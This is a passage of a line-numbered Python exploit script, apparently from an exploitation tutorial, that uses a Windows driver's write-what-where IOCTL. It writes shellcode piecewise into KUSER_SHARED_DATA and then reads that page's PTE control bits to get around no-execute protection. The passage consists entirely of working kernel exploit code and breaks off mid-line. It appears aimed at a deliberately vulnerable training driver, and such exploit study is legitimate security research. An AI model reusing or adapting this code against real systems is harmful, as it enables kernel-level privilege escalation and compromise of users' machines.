TriggerArbitraryOverwrite() function 399 | kernel32.DeviceIoControl( 400 | handle, # hDevice 401 | 0x0022200B, # dwIoControlCode 402 | www_shellcode_eight_pointer, # lpInBuffer 403 | 0x8, # nInBufferSize 404 | None, # lpOutBuffer 405 | 0, # nOutBufferSize 406 | byref(c_ulong()), # lpBytesReturned 407 | None # lpOverlapped 408 | ) 409 | 410 | # Last 8 bytes 411 | ninth_shellcode = c_ulonglong(0x0000000000C3C031) 412 | 413 | # Write-what-where structure #10 414 | www_shellcode_nine = WriteWhatWhere_Shellcode_9() 415 | www_shellcode_nine.What_Shellcode_9 = addressof(ninth_shellcode) 416 | www_shellcode_nine.Where_Shellcode_9 = KUSER_SHARED_DATA + 0x840 417 | www_shellcode_nine_pointer = pointer(www_shellcode_nine) 418 | 419 | # Print update for shellcode 420 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x840..." 421 | 422 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 423 | kernel32.DeviceIoControl( 424 | handle, # hDevice 425 | 0x0022200B, # dwIoControlCode 426 | www_shellcode_nine_pointer, # lpInBuffer 427 | 0x8, # nInBufferSize 428 | None, # lpOutBuffer 429 | 0, # nOutBufferSize 430 | byref(c_ulong()), # lpBytesReturned 431 | None # lpOverlapped 432 | ) 433 | 434 | # Phase 3: Extract KUSER_SHARED_DATA + 0x800's PTE control bits 435 | 436 | # Declaring C void pointer to stores PTE control bits 437 | pte_bits_pointer = c_void_p() 438 | 439 | # Write-what-where structure #11 440 | www_pte_bits = WriteWhatWhere_PTE_Control_Bits() 441 | www_pte_bits.What_PTE_Control_Bits = kuser_shared_data_800_pte_address 442 | www_pte_bits.Where_PTE_Control_Bits = addressof(pte_bits_pointer) 443 | www_pte_bits_pointer = pointer(www_pte_bits) 444 | 445 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 446 | kernel32.DeviceIoControl( 447 | handle, # hDevice 448 | 0x0022200B, # dwIoControlCode 449 | www_pte_bits_pointer, # lpInBuffer 450 | 0x8, # nInBufferSize 451 | None, # lpOutBuffer 452 | 0, # nOutBufferSize 453 | byref(c_ulong()), # lpBytesReturned 454 | None # lpOverlapped 455 | ) 456 | 457 | # CTypes way of extracting value from a C void pointer 458 | pte_control_bits_no_execute = struct.unpack('